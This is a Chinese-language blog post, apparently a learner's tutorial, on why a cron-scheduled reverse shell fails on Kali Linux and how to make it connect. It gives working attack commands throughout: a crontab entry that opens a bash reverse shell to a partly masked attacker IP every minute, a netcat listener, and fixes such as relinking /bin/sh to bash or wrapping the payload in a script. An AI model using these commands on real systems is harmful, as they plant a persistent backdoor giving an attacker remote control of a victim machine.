定时任务反弹shell报错(CRON)info(NoMTAinstalled,discardingoutput)

最近在学习反弹shell时遇到定时任务反弹shell没有反应的问题

首先将受害机的shell修改为bash然后重启

usermod -s /bin/bash 用户名

再在受害机中添加定时任务(crontab -e)

*/1  *  *  *  *   /bin/bash -i>&/dev/tcp/47.xxx.xxx.72/2333 0>&1#每隔一分钟,向47.xxx.xxx.72的2333号端口发送shell

攻击机开启2333端口监听

netcat -lvvp 2333

可是死活就是连不上,看一看cron的状态:

可以看到这边日志给出的错误信息是 No MTA installed,discarding output,查了一下以为是没有安装邮件系统的原因就安装了postfix,结果没有报错了但还是连不上shell

最后在https://blog.csdn.net/sdb5858874/article/details/81837440里看到了真正的原因以及解决方法:

kali系统默认会将计划任务的错误信息以邮件的方式发送给用户,但是由于kali系统默认没有安装邮件系统,所以真正的报错信息并不是No MTA installed,discarding output这句话

想看到真正的报错信息有两种解决办法:

1、由于我们刚才已经安装了邮件系统那么直接来/var/mail/用户名文件中看一下报错邮件:

2、将计划任务的错误信息输出到一个文件内

*/1  *  *  *  *  /bin/bash -i '>&/dev/tcp/47.xxx.xx.xxx/2333 0>&1' >/tmp/error.txt 2>&1

这本质上不就是shell不是bash,但我们最开始已经把系统的shell换为bashl了啊

其实这里是linux里面的cron中command执行的shell环境是/bin/sh

有两种方法改变cron执行命令的shell

1、改系统sh软链接

在/bin目录下执行ls -l | grep -w “sh”:

发现sh指向的其实是dash,直接修改

ln - s -f bash /bin/sh

成功反弹shell!

2、将反弹shell的语句写入脚本,然后crontab任务定时执行脚本

先建立一个脚本cronshell,并赋予执行权限

#!/bin/bash
/bin/bash -i >& /dev/tcp/xxx.xx.x.xx/2333 0>&1

然后修改计划任务*


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。